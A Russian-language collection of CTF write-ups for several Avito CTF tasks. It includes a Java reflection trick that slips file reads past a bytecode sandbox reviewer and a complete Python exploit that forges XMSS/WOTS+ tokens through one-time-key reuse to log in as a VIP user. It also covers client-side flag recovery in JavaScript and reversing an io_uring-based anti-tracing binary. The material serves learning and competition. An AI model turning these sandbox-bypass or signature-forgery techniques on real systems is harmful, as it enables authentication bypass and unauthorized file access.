В данном случае результат создаётся следующим образом:

new PluginResult(0, 0, flag)

Флаг попадает в текстовое сообщение результата расчёта.

Почему плагин проходит ревью?

В исходном коде присутствуют названия запрещённых классов:

"java.nio.file.Path"
"java.nio.file.Files"

Однако после компиляции они остаются обычными строками в constant pool.
Статический анализатор не сопоставляет содержимое строк с запрещёнными пакетами.
Вызовы методов принадлежат разрешённым классам:

java/lang/Class
java/lang/reflect/Method
java/lang/String
java/lang/Object

Например:

java/lang/Class.forName
java/lang/Class.getMethod
java/lang/reflect/Method.invoke

Поэтому ревью не видит прямого обращения к:

java/nio/file/Files
java/nio/file/Path

Доступ к ним возникает только динамически во время исполнения в карантинной соте.

Сборка JAR

Структура проекта:

src/
└── example/
    └── SeasonalDiscountPlugin.java

Для компиляции необходимо добавить классы API из архива-примера в classpath.
Пример команды:

javac \
  -cp plugin-api.jar \
  -d build \
  src/example/SeasonalDiscountPlugin.java

Создание JAR:

jar cf honeybadger-plugin.jar -C build .

Проверить наличие класса можно командой:

jar tf honeybadger-plugin.jar

Ожидаемый результат:

META-INF/
META-INF/MANIFEST.MF
example/
example/SeasonalDiscountPlugin.class

Загрузка в B2Bee

В веб-интерфейсе указываем:

JAR-файл:
honeybadger-plugin.jar

Главный класс:
example.SeasonalDiscountPlugin

Затем нажимаем:

Передать свой JAR на ревью

Плагин проходит статическую проверку и отправляется в карантинную среду.
После запуска вызывается метод:

apply(PluginContext context)

Он читает /flag.txt и возвращает его содержимое в сообщении PluginResult.
Флаг отображается на странице в результате расчёта скидки и бонусов.

Ошибка при первой попытке

В первой версии JAR основной класс назывался:

example.HoneyBadgerPlugin

Но в поле веб-интерфейса было указано:

example.SeasonalDiscountPlugin

Ревью JAR прошло успешно, поскольку сам байткод соответствовал политике. Однако карантин вернул:

Код ревью: plugin-failed
Плагин завершился с ошибкой

Причина заключалась не в Reflection и не в файловом доступе. Исполняющая среда не смогла найти указанный главный класс.
После переименования класса в:

example.SeasonalDiscountPlugin

и повторной сборки JAR плагин успешно запустился.
Это важный момент: поле «Главный класс» должно точно совпадать с полным именем класса внутри архива, включая регистр символов и Java-пакет.

Ложный путь

В исходниках анализатора присутствовала скрытая последовательность Unicode Variation Selectors.
После декодирования она содержала ссылку:

https://marketdone-9kol67m0.avitoctf.ru/

Однако эта ссылка являлась ложным путём и не приводила к решению задания.
Реальное решение требовало:
изучить контракт плагина;
проанализировать правила проверки байткода;
обнаружить разрешённый Reflection API;
динамически загрузить запрещённые файловые классы;
прочитать /flag.txt внутри карантинной среды.

Итог

Для решения задания был использован обход статического анализатора Java-байткода через Reflection.
Прямое использование файловых классов блокировалось:

Files.readString(Path.of("/flag.txt"));

Но запрещённые классы удалось получить динамически:

Class.forName("java.nio.file.Files");
Class.forName("java.nio.file.Path");

Так как обычные строковые константы не анализировались, а Class и Method относились к разрешённому пространству java/lang, JAR успешно прошёл ревью.
После запуска в карантинной соте плагин:
загрузил Path и Files;
создал объект пути /flag.txt;
вызвал Files.readString;
вернул содержимое файла в PluginResult;
вывел флаг в интерфейсе B2Bee.
Класс уязвимости:

Incomplete static bytecode validation
Reflection-based sandbox bypass
Arbitrary file read

В социальной сети «НаПасеке» пользователи могут регистрироваться, публиковать записи и просматривать стены других участников. Полное содержимое публикаций доступно только VIP-пользователям.
Необходимо получить доступ к закрытой публикации пользователя kopatych, содержащей точную локацию места, где собирают лучший мёд.
Для подключения к сервису выданы адрес и invite-код:

nc napaseke-m9ybjl6b.avitoctf.ru 30012
Invite code: uCQq3YsK7TmoZBlN4UYkng

Так же предоставлены исходники приложения.

Разведка

После подключения сервис предлагает следующие действия:

• просмотреть обычных пользователей;
• просмотреть VIP-пользователей;
• зарегистрироваться;
• войти по токену HoneyPass;
• просмотреть стену пользователя;
• получить открытый ключ.

При регистрации сервер возвращает токен следующего вида:

HoneyPass token: <hex-строка>

Токен представляет собой подписанное имя пользователя. В качестве алгоритма электронной подписи используется XMSSMT:

unsigned char msg_to_sign[MAX_USERNAME_LEN];
int msg_len = strlen(username);
memcpy(msg_to_sign, username, msg_len);

xmssmt_sign_message(
    msg_to_sign,
    msg_len,
    xmss_sig,
    sizeof(xmss_sig),
    &sig_len,
    &signing_index
);

При авторизации сервер проверяет подпись и извлекает из неё имя пользователя:

if (xmssmt_verify_signature(
        token.signature,
        token.sig_len,
        msg_verified,
        sizeof(msg_verified),
        &msg_verified_len
    ) != 0) {
    write_all(sockfd, "Invalid token signature\n");
    return;
}

После успешной проверки профиль загружается из базы данных:

if (!load_user_data(username, &user_data)) {
    write_all(sockfd, "Profile not found\n");
    return;
}

Таким образом, для входа под пользователем kopatych необходимо получить корректную XMSS-подпись строки:

kopatych

Проверка VIP-ограничения

В функции просмотра стены проверяется не статус владельца стены, а статус текущего авторизованного пользователя:

int can_view_full = session->logged_in && session->user.is_vip;

if (can_view_full) {
    strncpy(display_msg, message, sizeof(display_msg) - 1);
} else {
    build_wall_preview(message, display_msg, sizeof(display_msg));
}

Обычный пользователь видит только первые десять символов публикации:

if (strlen(message) > 10) {
    strncpy(display_msg, message, 10);
    display_msg[10] = '\0';
    strcat(display_msg, "...");
}

Следовательно, есть два возможных пути:

1. войти под любым VIP-пользователем;
2. подделать токен непосредственно для kopatych.

Второй вариант удобнее, поскольку имя kopatych уже существует в базе данных и является VIP-профилем.

Анализ реализации XMSS

XMSS — это stateful hash-based signature scheme. Внутри неё используются одноразовые подписи WOTS+.
Критически важное требование XMSS: каждый одноразовый ключ WOTS+ должен использоваться только один раз. После создания подписи индекс секретного ключа должен увеличиваться.
В исходниках для этого даже реализована отдельная функция:

int xmssmt_update_signing_key(unsigned long long *signing_index) {
    unsigned long long current_index;
    unsigned long long next_index;

    current_index = signing_key_index(
        &g_xmss_state->xmss_params,
        g_xmss_state->xmss_sk
    );

    if (current_index == *signing_index) {
        if (xmssmt_update_sk(
                &g_xmss_state->xmss_params,
                g_xmss_state->xmss_sk
            ) != 0) {
            return -1;
        }

        next_index = signing_key_index(
            &g_xmss_state->xmss_params,
            g_xmss_state->xmss_sk
        );
    }

    return 0;
}

Однако вызов xmssmt_update_signing_key() в программе отсутствует.
Поиск по исходникам показывает, что функция определена, но нигде не используется:

xmss_keys.c: xmssmt_update_signing_key(...)
xmss_keys.h: xmssmt_update_signing_key(...)

При каждой регистрации выполняется только:

xmssmt_core_sign(
    &g_xmss_state->xmss_params,
    g_xmss_state->xmss_sk,
    sm,
    &smlen,
    msg,
    mlen
);

В результате один и тот же XMSS-индекс и один и тот же WOTS+-ключ используются для подписи множества разных имён пользователей.
Это и является основной уязвимостью задания.

Почему повторное использование WOTS+ опасно

WOTS+ состоит из набора хеш-цепочек. Для каждого элемента сообщения выбирается определённая позиция в соответствующей цепочке.
Упрощённо подпись одного элемента выглядит так:

signature[i] = F^a(secret[i])

где:
secret[i] — секретное начало цепочки;
F — односторонняя хеш-функция;
a — значение, полученное из хеша сообщения.
Проверяющая сторона продолжает вычисления до конца цепочки:

public[i] = F^(w - 1 - a)(signature[i])

Если известна подпись для значения a, можно получить подпись для любого большего значения b:

F^(b - a)(signature[i]) = F^b(secret[i])

Вернуться назад по цепочке невозможно, но двигаться вперёд можно.
Следовательно, если один WOTS+-ключ используется для подписания большого количества сообщений, для каждой цепочки можно выбрать подпись с минимальной известной позицией. После этого из неё можно вычислить подпись почти для любого другого сообщения.

Формат подписи

Размер XMSS-подписи в задании:

#define XMSS_SIG_SIZE 1684

Открытый ключ имеет размер 32 байта:

#define XMSS_PK_SIZE 32

Он состоит из:

root     — 16 байт
pub_seed — 16 байт

Начало подписи имеет следующий формат:

offset  size   назначение
0       4      XMSS index
4       16     случайное значение R
20      288    WOTS+ подпись нижнего уровня

Параметры WOTS+:

n        = 16
w        = 256
len_1    = 16
len_2    = 2
WOTS_LEN = 18

Размер WOTS+-части:

18 × 16 = 288 байт

Таким образом:

N = 16
WOTS_LEN = 18
WOTS_OFFSET = 4 + N
WOTS_BYTES = WOTS_LEN * N

Проверка повторного использования ключа

Регистрируем несколько пользователей и разбираем полученные токены.
Каждый токен состоит из XMSS-подписи и подписанного сообщения:

token = signature || username

Для каждого токена извлекаем индекс и значение R:

sig = token[:1684]

idx = int.from_bytes(sig[:4], "big")
R = sig[4:20]

У всех полученных подписей значения совпадают:

idx одинаковый
R одинаковый

Одинаковый idx подтверждает повторное использование одного листа XMSS и, следовательно, одного нижнего WOTS+-ключа.
Одинаковое значение R дополнительно упрощает атаку: для вычисления хеша целевого сообщения можно использовать параметры любой зарегистрированной подписи.

Вычисление хеша сообщения

В данной реализации используется MD5 с доменным разделением.
Хеш подписываемого сообщения вычисляется как:

H_msg = MD5(
    toByte(2, 4) ||
    R ||
    root ||
    index ||
    message
)

Реализация на python

def message_digest(root: bytes, idx: int, R: bytes, msg: bytes) -> bytes:
    return hashlib.md5(
        struct.pack(">I", 2)
        + R
        + root
        + idx.to_bytes(16, "big")
        + msg
    ).digest()

Так как n = 16, хеш содержит 16 байт. При w = 256 каждый байт непосредственно задаёт длину одной WOTS-цепочки.
К ним добавляется двухбайтовая контрольная сумма:

def chain_lengths(digest: bytes):
    values = list(digest)

    checksum = sum(255 - value for value in values)
    values.extend(checksum.to_bytes(2, "big"))

    return values

В итоге для каждого сообщения получается 18 длин цепочек.
8. Сбор элементов WOTS+
Регистрируем большое количество случайных пользователей. Для каждого имени:
получаем токен;
вычисляем хеш подписанного имени;
определяем 18 длин WOTS-цепочек;
извлекаем 18 элементов из подписи;
для каждой позиции сохраняем элемент с минимальной длиной цепочки.
Логика сбора:

best = [None] * WOTS_LEN

for j, length in enumerate(lengths):
    element = wots[j * N:(j + 1) * N]

    if best[j] is None or length < best[j][0]:
        best[j] = (length, element)

Для целевого сообщения kopatych также вычисляем необходимые длины:

target_digest = message_digest(
    root,
    common_idx,
    common_R,
    b"kopatych"
)

target_lengths = chain_lengths(target_digest)

Для успешной подделки подписи должно выполняться условие для всех 18 цепочек.

known_length[i] <= target_length[i]

Если для какой-либо позиции сохранённый элемент находится дальше по цепочке, чем требуется для kopatych, нужно продолжать регистрацию пользователей.
Поскольку значения байтов хеша распределены практически равномерно, через некоторое количество регистраций для каждой позиции находится достаточно ранний элемент цепочки.

Продолжение WOTS-цепочек

Для преобразования найденного элемента в элемент подписи kopatych необходимо продолжить соответствующую хеш-цепочку.
В WOTS+ хеширование зависит не только от текущего значения, но и от адреса элемента.
Адрес содержит:

• слой XMSSMT;
• индекс дерева;
• индекс листа;
• номер WOTS-цепочки;
• текущий шаг цепочки;
• тип хеширования.

Реализация функции F:

def prf(pub_seed: bytes, addr_words) -> bytes:
    addr = b"".join(struct.pack(">I", x) for x in addr_words)
    return hashlib.md5(
        struct.pack(">I", 3)
        + pub_seed
        + addr
    ).digest()
def thash_f(value: bytes, pub_seed: bytes, addr_words) -> bytes:
    addr = list(addr_words)

    addr[7] = 0
    key = prf(pub_seed, addr)

    addr[7] = 1
    mask = prf(pub_seed, addr)

    masked = bytes(
        x ^ y for x, y in zip(value, mask)
    )

    return hashlib.md5(
        struct.pack(">I", 0)
        + key
        + masked
    ).digest()

Для каждого элемента подписи выполняем необходимое количество шагов:

for j, target_length in enumerate(target_lengths):
    start_length, value = best[j]

    address = [
        0,
        (idx_tree >> 32) & 0xffffffff,
        idx_tree & 0xffffffff,
        0,
        idx_leaf,
        j,
        0,
        0
    ]

    for step in range(start_length, target_length):
        address[6] = step
        value = thash_f(value, pub_seed, address)

    offset = WOTS_OFFSET + j * N
    forged_signature[offset:offset + N] = value
    

Почему достаточно изменить только нижнюю WOTS-подпись

XMSSMT-подпись содержит несколько уровней дерева.
Можно было бы предположить, что для подделки сообщения потребуется заново построить:

• WOTS-подписи всех уровней;
• пути аутентификации;
• корни промежуточных деревьев.

Однако это не требуется.
Повторно используется тот же XMSS-индекс. После модификации нижней WOTS+-подписи она всё равно восстанавливает тот же открытый WOTS-ключ, что и легитимная подпись.
Следовательно:

• лист дерева остаётся прежним;
• путь аутентификации нижнего дерева остаётся валидным;
• корень нижнего дерева не изменяется;
• подписи верхних уровней остаются валидными.

Поэтому из любого легитимного токена можно сохранить:

• индекс;
• R;
• пути аутентификации;
• WOTS-подписи верхних уровней.

Заменить необходимо только первые 288 байт WOTS+-части, начиная со смещения 20.

Формирование поддельного токена

Берём любую легитимную подпись как основу:

forged_signature = bytearray(base_signature)

Заменяем в ней нижнюю WOTS+-часть, после чего добавляем целевое имя пользователя:

forged_token = bytes(forged_signature) + b"kopatych"

Токен отправляется в функцию авторизации в hex-представлении:

client.login(forged_token)

Сервер успешно проверяет подпись и извлекает имя:

Login successful

Затем запрашиваем стену пользователя:

P
kopatych

Поскольку сессия теперь принадлежит VIP-пользователю kopatych, сервер возвращает полное содержимое публикации, включая искомую локацию.

Эксплойт

#!/usr/bin/env python3
import argparse
import hashlib
import os
import random
import socket
import string
import struct
import sys
import time

INVITE_DEFAULT = 'uCQq3YsK7TmoZBlN4UYkng'
XMSS_SIG_SIZE = 1684
N = 16
WOTS_LEN = 18
WOTS_OFFSET = 4 + N
WOTS_BYTES = WOTS_LEN * N


def md5(data: bytes) -> bytes:
    return hashlib.md5(data).digest()


def u32(x: int) -> bytes:
    return struct.pack('>I', x & 0xffffffff)


def prf(pub_seed: bytes, addr_words) -> bytes:
    addr = b''.join(u32(x) for x in addr_words)
    return md5(u32(3) + pub_seed + addr)


def thash_f(value: bytes, pub_seed: bytes, addr_words) -> bytes:
    a = list(addr_words)
    a[7] = 0
    key = prf(pub_seed, a)
    a[7] = 1
    mask = prf(pub_seed, a)
    return md5(u32(0) + key + bytes(x ^ y for x, y in zip(value, mask)))


def message_digest(root: bytes, idx: int, R: bytes, msg: bytes) -> bytes:
    return md5(u32(2) + R + root + idx.to_bytes(N, 'big') + msg)


def chain_lengths(digest: bytes):
    vals = list(digest)
    checksum = sum(255 - x for x in vals)
    vals.extend(checksum.to_bytes(2, 'big'))
    return vals


def recv_until(sock: socket.socket, marker: bytes, timeout=20) -> bytes:
    sock.settimeout(timeout)
    data = bytearray()
    while marker not in data:
        chunk = sock.recv(65536)
        if not chunk:
            raise EOFError(f'connection closed while waiting for {marker!r}')
        data += chunk
    return bytes(data)


class Client:
    def __init__(self, host, port, invite):
        self.s = socket.create_connection((host, port), timeout=10)
        recv_until(self.s, b'Invite code: ')
        self.s.sendall(invite.encode() + b'\n')
        recv_until(self.s, b'Enter your choice: ')

    def cmd(self, letter: str, prompt: bytes | None = None, answer: str | None = None) -> bytes:
        self.s.sendall(letter.encode() + b'\n')
        data = b''
        if prompt is not None:
            data = recv_until(self.s, prompt)
            self.s.sendall(answer.encode() + b'\n')
        data += recv_until(self.s, b'Enter your choice: ')
        return data

    def get_public_key(self) -> bytes:
        out = self.cmd('K').decode(errors='replace')
        line = next(x for x in out.splitlines() if 'Public Key' in x)
        return bytes.fromhex(line.rsplit(': ', 1)[1].strip())

    def list_vips(self) -> str:
        return self.cmd('V').decode(errors='replace')

    def register(self, username: str) -> bytes:
        out = self.cmd('R', b'Nickname (max 16 chars): ', username).decode(errors='replace')
        for line in out.splitlines():
            if 'HoneyPass token: ' in line:
                return bytes.fromhex(line.split('HoneyPass token: ', 1)[1].strip())
        raise RuntimeError(f'failed to register {username!r}: {out}')

    def login(self, token: bytes) -> str:
        return self.cmd('L', b'HoneyPass token: ', token.hex()).decode(errors='replace')

    def peek(self, username: str) -> str:
        return self.cmd('P', b'or another nickname): ', username).decode(errors='replace')


def random_username(counter: int) -> str:
    # Printable, unique, at most 16 characters.
    suffix = format(counter, 'x')
    rnd = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(15-len(suffix)))
    return ('x' + rnd + suffix)[:16]


def forge(host, port, invite, target, max_samples):
    c = Client(host, port, invite)
    print('[+] Connected')
    print(c.list_vips().strip())

    pk = c.get_public_key()
    if len(pk) != 32:
        raise RuntimeError(f'unexpected public key length: {len(pk)}')
    root, pub_seed = pk[:16], pk[16:]
    print(f'[+] Public root: {root.hex()}')
    print(f'[+] Public seed: {pub_seed.hex()}')

    best = [None] * WOTS_LEN  # (chain_length, 16-byte WOTS element)
    base_sig = None
    common_idx = None
    common_R = None

    for i in range(max_samples):
        username = random_username(i)
        signed = c.register(username)
        if len(signed) != XMSS_SIG_SIZE + len(username):
            raise RuntimeError(f'unexpected signed token length {len(signed)}')
        sig, msg = signed[:XMSS_SIG_SIZE], signed[XMSS_SIG_SIZE:]
        idx = int.from_bytes(sig[:4], 'big')
        R = sig[4:20]

        if base_sig is None:
            base_sig = bytearray(sig)
            common_idx, common_R = idx, R
        elif idx != common_idx or R != common_R:
            raise RuntimeError('signing index/R changed; reconnect to a fresh instance or use concurrent collection')

        digest = message_digest(root, idx, R, msg)
        lengths = chain_lengths(digest)
        wots = sig[WOTS_OFFSET:WOTS_OFFSET + WOTS_BYTES]
        for j, length in enumerate(lengths):
            elem = wots[j*N:(j+1)*N]
            if best[j] is None or length < best[j][0]:
                best[j] = (length, elem)

        target_digest = message_digest(root, common_idx, common_R, target.encode())
        target_lengths = chain_lengths(target_digest)
        missing = [j for j in range(WOTS_LEN) if best[j] is None or best[j][0] > target_lengths[j]]
        if i % 25 == 0 or not missing:
            mins = ','.join('--' if x is None else f'{x[0]:02x}' for x in best)
            print(f'[*] samples={i+1:4d}, missing={missing}, minima={mins}')
        if not missing:
            break
    else:
        raise RuntimeError(f'not enough samples after {max_samples}; increase --max-samples')

    target_digest = message_digest(root, common_idx, common_R, target.encode())
    target_lengths = chain_lengths(target_digest)
    print(f'[+] Target @{target} digest: {target_digest.hex()}')
    print('[+] Target chain lengths:', target_lengths)

    idx_tree = common_idx >> 8
    idx_leaf = common_idx & 0xff
    for j, target_len in enumerate(target_lengths):
        start_len, value = best[j]
        addr = [0, (idx_tree >> 32) & 0xffffffff, idx_tree & 0xffffffff, 0,
                idx_leaf, j, 0, 0]
        for step in range(start_len, target_len):
            addr[6] = step
            value = thash_f(value, pub_seed, addr)
        off = WOTS_OFFSET + j*N
        base_sig[off:off+N] = value

    forged = bytes(base_sig) + target.encode()
    print(f'[+] Forged token: {forged.hex()}')
    login_out = c.login(forged)
    print(login_out.strip())
    if 'Login successful' not in login_out:
        raise RuntimeError('forged login failed')
    wall = c.peek(target)
    print('\n[+] Full wall output:\n' + wall)


if __name__ == '__main__':
    ap = argparse.ArgumentParser(description='NaPaseke XMSS/WOTS one-time-key reuse exploit')
    ap.add_argument('host', nargs='?', default='napaseke-m9ybjl6b.avitoctf.ru')
    ap.add_argument('port', nargs='?', type=int, default=30012)
    ap.add_argument('--invite', default=INVITE_DEFAULT)
    ap.add_argument('--target', default='kopatych')
    ap.add_argument('--max-samples', type=int, default=2000)
    args = ap.parse_args()
    forge(args.host, args.port, args.invite, args.target, args.max_samples)
    

Запуск

python3 solve_napaseke.py \
    napaseke-m9ybjl6b.avitoctf.ru \
    30012

Если основной инстанс недоступен, можно использовать дополнительные порты:

python3 solve_napaseke.py napaseke-m9ybjl6b.avitoctf.ru 30112
python3 solve_napaseke.py napaseke-m9ybjl6b.avitoctf.ru 30212
python3 solve_napaseke.py napaseke-m9ybjl6b.avitoctf.ru 30312
python3 solve_napaseke.py napaseke-m9ybjl6b.avitoctf.ru 30412

После накопления достаточного количества подписей эксплойт выводит:

Login successful

А затем полное содержимое стены пользователя kopatych, в котором указана искомая локация.

Итог

Причиной уязвимости стало нарушение основного требования stateful hash-based signatures: одноразовый WOTS+-ключ был использован для подписи множества различных сообщений.
Функция обновления состояния секретного ключа была реализована, но не вызывалась после создания подписи. Поэтому все зарегистрированные пользователи получали токены, сформированные с одним XMSS-индексом.
Собрав несколько таких подписей, можно:
определить позиции элементов в WOTS+-цепочках;
выбрать наиболее ранний известный элемент каждой цепочки;
продолжить цепочки до значений, необходимых для строки kopatych;
заменить нижнюю WOTS+-часть легитимной XMSS-подписи;
сохранить остальные уровни XMSSMT без изменений;
сформировать валидный токен пользователя kopatych;
войти под VIP-профилем и прочитать закрытую публикацию.
Уязвимость классифицируется как повторное использование одноразового ключа в WOTS+/XMSS, приводящее к подделке цифровой подписи и обходу механизма аутентификации.

Цель: Найти флаг на CTF-задаче «Первые шаги»

Декодирование: «The early bee gets the honey» (Кто рано встаёт — того мёд ждёт) — leetspeak
Категория: Web/JavaScript reverse engineering (client-side CTF challenge)

Разведка

• Открываем сайт https://firststeps-5w7im53y.avitoctf.ru
• Видим игру «Первые шаги» — лабиринт на сотах, где нужно провести барсука-медоеда к флагу, обходя ловушки
• Изучаем исходный код страницы — находим подключённый JavaScript-файл /assets/firststeps.js

Анализ JavaScript

В файле firststeps.js обнаруживаем ключевую функцию levelReward(level), которая генерирует часть флага для каждого уровня сложности:

Ключевые константы:

var FIXED_COLS = 15;
var FIXED_ROWS = 10;
var LEVEL_ORDER = ['easy', 'medium', 'hard'];
var LEVEL_REWARD_LENGTHS = [10, 9, 9];  // длина каждой части флага

// Массив зашифрованных данных для всех частей флага
var LEVEL_REWARD_DATA = [
  99,179,125,189,59,220,227,52,178,148,
  156,34,201,91,248,251,14,73,54,212,
  178,230,102,64,45,182,145,14,3,160
];

// Координаты "дырок" на игровом поле (используются для seed'а)
var FIXED_HOLE_COORDS = [[2,1],[7,1],[11,1],[4,2],[9,3],[13,3],
                         [1,4],[6,5],[11,5],[3,7],[8,8],[12,8]];

Функция генерации части флага

function levelReward(level){
  var index = LEVEL_ORDER.indexOf(level); // 0, 1, 2

  // Начальное seed-значение на основе индекса уровня и размеров поля
  var stream = (0x6d2b79f5 ^ Math.imul(index + 1, 0x9e3779b1)
                ^ (FIXED_COLS << 24) ^ (FIXED_ROWS << 16)) >>> 0;

  // Примешиваем координаты "дырок" в seed
  FIXED_HOLE_COORDS.forEach(function(pos, holeIndex){
    stream ^= Math.imul(cellKey(pos[0], pos[1], FIXED_COLS)
                + holeIndex + 1, 0x045d9f3b);
    stream = ((stream << 11) | (stream >>> 21)) >>> 0;
  });

  var reward = '';
  // lane определяет, какие байты из LEVEL_REWARD_DATA брать
  var lane = (index * 2 + 1) % LEVEL_ORDER.length;

  for (var i = 0; i < LEVEL_REWARD_LENGTHS[index]; i++){
    // xor-шифр: псевдослучайная последовательность на основе stream
    stream ^= stream << 13;
    stream ^= stream >>> 17;
    stream ^= stream << 5;
    stream >>>= 0;
    // Берём байт из LEVEL_REWARD_DATA и xor'им с младшим байтом stream
    reward += String.fromCharCode(
      LEVEL_REWARD_DATA[i * LEVEL_ORDER.length + lane] ^ (stream & 255)
    );
  }
  return reward;
}

1. Алгоритм генерации:
   Вычисляется seed (stream) на основе номера уровня (0, 1, 2), размера поля (15×10) и координат «дырок»
2. Для каждого символа флага применяется простой xor-шифр: берётся байт из предопределённого массива LEVEL_REWARD_DATA и xor'ится с псевдослучайной последовательностью, генерируемой через младший байт stream
3. Lane (дорожка) определяет, какие элементы массива относятся к какому уровню:

• easy (index 0) → lane 1 — элементы 1, 4, 7, 10, 13, 16, 19, 22, 25, 28
• medium (index 1) → lane 0 — элементы 0, 3, 6, 9, 12, 15, 18, 21, 24
• hard (index 2) → lane 2 — элементы 2, 5, 8, 11, 14, 17, 20, 23, 26

Эксплуатация

Флаг генерируется полностью на клиентской стороне. Нет необходимости проходить игру — достаточно скопировать функцию levelReward() и выполнить её в любой JavaScript-среде (браузерная консоль, Node.js).

Способ 1:Через консоль браузера

Открыть DevTools (F12) на странице https://firststeps-5w7im53y.avitoctf.ru
Выполнить в консоли:

var flag = '';
for (var l of ['easy', 'medium', 'hard']) flag += levelReward(l);
console.log('avito{' + flag + '}');

Способ 2: Node.js репликация

Создать файл compute_flag.js со скопированной функцией levelReward() и выполнить:

node compute_flag.js

Вывод

Уязвимость: Клиентская генерация флага — вся логика вычисления флага выполняется на стороне клиента в JavaScript. Любой пользователь может прочитать и воспроизвести эту логику, получив флаг без прохождения игры.
Рекомендация по исправлению: Флаг должен генерироваться и проверяться на серверной стороне. Клиент должен отправлять серверу доказательство прохождения уровня (например, найденный путь в лабиринте), а сервер — возвращать часть флага только при валидном решении.
Потенциальное улучшение: API-эндпоинт /api/flag?level=easy&proof=<path_hash>, который проверяет, действительно ли игрок прошёл уровень до конца, и возвращает только соответствующую часть флага.

Категория: Reverse / Linux

Сложность: Hard

Автор: Ксения @g1inko, SPbCTF

Разведка

$ file io_hrana.elf
io_hrana.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked,
BuildID[...]=..., for GNU/Linux 3.2.0, stripped

Статически слинкованный, stripped, ~2 МБ. Первый запуск:

$ ./io_hrana.elf

--=[ I WILL ONLY REVEAL MY SECRETS TO THE WORTHY ]=--

[*] Initializing.
system name = Linux
node name   = vm
...
[+] I am now ready to test your system

[*] Starting attestation
    5
    4
    3
    2
    1
    0
CHECK [1/4]
[+] init ok
CHECK [2/4]
...

Дальше идут четыре последовательные проверки. Обычный strings по бинарю не находит ни одной из выводимых фраз ("attestation", "CHECK", "dedicated user" и т.д.) — то есть все текстовые константы намеренно спрятаны от статического анализа.
Первая попытка воспользоваться strace, чтобы посмотреть, какие файлы/сокеты трогает программа на каждой проверке, тоже почти ничего не даёт: в трассе видно буквально пару системных вызовов (uname, readlink /proc/self/exe, один openat("/proc/1/comm")) — а весь остальной ввод-вывод, включая все write в stdout, в strace просто отсутствует, хотя текст реально печатается на экран.
Причина: io_uring + SQPOLL как анти-трассировочный приём
В трассе, однако, виден характерный вызов:

io_uring_setup(16, {flags=IORING_SETUP_SQPOLL|IORING_SETUP_R_DISABLED, ...}) = 3
io_uring_register(3, IORING_REGISTER_ENABLE_RINGS, NULL, 0) = 0

IORING_SETUP_SQPOLL поднимает отдельный поток ядра, который сам вычитывает Submission Queue из shared-memory кольца и выполняет операции (open, read, write, connect...) — приложению для этого не нужно делать системный вызов io_uring_enter вообще. Именно поэтому strace/ltrace, работающие через ptrace на пользовательском потоке, не видят ни файловых операций проверок, ни даже обычных write() в терминал: с точки зрения трассировщика поток программы почти ничего не делает, всю грязную работу выполняет невидимый kernel-thread. Это и есть «сторожевой шершень» из легенды задания.
Дополнительно все строковые константы в бинаре не лежат в .rodata, а побайтово записываются в data-сегмент прямо в коде main — тысячи инструкций вида:

movb $0x13, 0x5e3520(%rip)
movb $0x22, 0x5e3521(%rip)
movb $0xf3, 0x5e3522(%rip)
...

Это классический анти-strings приём: раз строка никогда не лежит в бинаре одним куском, strings/grep по файлу её не находят.
Стратегия: раз статика и обычная трассировка бессильны — смотрим живую память
Раз строки всё равно оказываются расшифрованными (или просто дозаписанными) в адресном пространстве процесса к моменту вывода/сравнения, самый быстрый путь — не реверсить вручную тысячи movb, а поймать процесс в нужный момент через gdb и сдампить память:

import gdb
gdb.execute("catch syscall exit_group")
gdb.execute("run < /tmp/enters.txt")
gdb.execute("dump memory seg.bin 0x5e4000 0x60b000")

Как только процесс доходит до exit_group() (падение очередной проверки), дампим все rw--регионы и прогоняем через strings — там уже лежит расшифрованный текст, который не найти в самом файле.
Проверка за проверкой
CHECK 1/4 — инициализация
Ничего интересного, просто uname().
CHECK 2/4 — дистрибутив
Дамп памяти в момент ошибки содержит:

/etc/os-release
PROpolisOS

Программа читает /etc/os-release и требует ID=PROpolisOS (POPolis — привет прополису от пчёл). Патчим файл:

sed -i 's/^ID=.*/ID=PROpolisOS/' /usr/lib/os-release

→ [+] release ok
CHECK 3/4 — «выделенный пользователь»
В следующем дампе находится:

/home/apis_mellifera
[-] The dedicated user not found, cannot proceed

apis_mellifera — латинское название пчелы медоносной. Создаём каталог:

mkdir -p /home/apis_mellifera

Проверка идёт дальше, но теперь ругается на время:

[i] user creation time: 13:9 MSK
[-] A special user wasn't created at 13:37 MSK. Not cool!!

Программа берёт время создания каталога (ctime/birth time инода) и сравнивает его с 13:37 по MSK (UTC+3) — «leet time». ctime нельзя выставить через touch (он всегда «сейчас» при любом изменении метаданных inode), поэтому единственный надёжный способ — временно перевести системные часы и создать каталог именно в этот момент:

date -s "2026-07-18 10:37:00 UTC"      # 10:37 UTC = 13:37 MSK
rm -rf /home/apis_mellifera && mkdir -p /home/apis_mellifera

→ [i] user creation time: 13:37 MSK → [+] user ok
CHECK 4/4 — окружение
Проходит автоматически (там же в дампе виден systemd — похоже на проверку /proc/1/comm, то есть что init-процесс контейнера называется systemd, а не что-то подозрительное).
После всех четырёх проверок:

[+] All good!
Grab your prize! https://prizering-gaxqsak4.avitoctf.ru/
[*] Press ENTER...

Финальный этап: приватный сокет
После нажатия Enter:

Well... Now as for those secrets I claimed to have...

Since you've come this far, I'm sure you know how to find a special private socket
that you need to set up, so that I can share a passcode for you to get into.
[*] Press ENTER...

[-] Failed to talk to a special confidential socket, cannot hand my secret to you...

Снова дампим память в момент этой ошибки и находим строку:

h0n3ycOmb

(с нулевыми байтами вокруг — характерно для sockaddr_un в abstract namespace, т.е. путь вида \0h0n3ycOmb, не привязанный к файловой системе). Поднимаем такой сокет заранее и слушаем его:

import socket

s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.bind("\0h0n3ycOmb")     # abstract socket, начинается с NUL
s.listen(1)
conn, _ = s.accept()
print(conn.recv(4096))

Запускаем сервер, затем сам io_hrana.elf (с уже пропатченными os-release и временем создания /home/apis_mellifera) — бинарь коннектится к абстрактному сокету h0n3ycOmb и присылает в него флаг открытым текстом.

Итог: что проверялось задачей

Узнавание io_uring/SQPOLL как техники, из-за которой strace/ltrace оказываются бесполезны (I/O выполняется kernel-thread'ом без «человеческих» системных вызовов на стороне трассируемого процесса).
Приём анти-strings через побайтовую запись строк в память в рантайме — и обход через дамп живой памяти вместо ручной дизассемблировки каждого movb.
Внимательность к деталям окружения: /etc/os-release, время создания файла (ctime vs mtime, и что ctime подделать можно только через системные часы), и abstract Unix-сокеты как канал передачи секрета.

Категория: Misc / Web

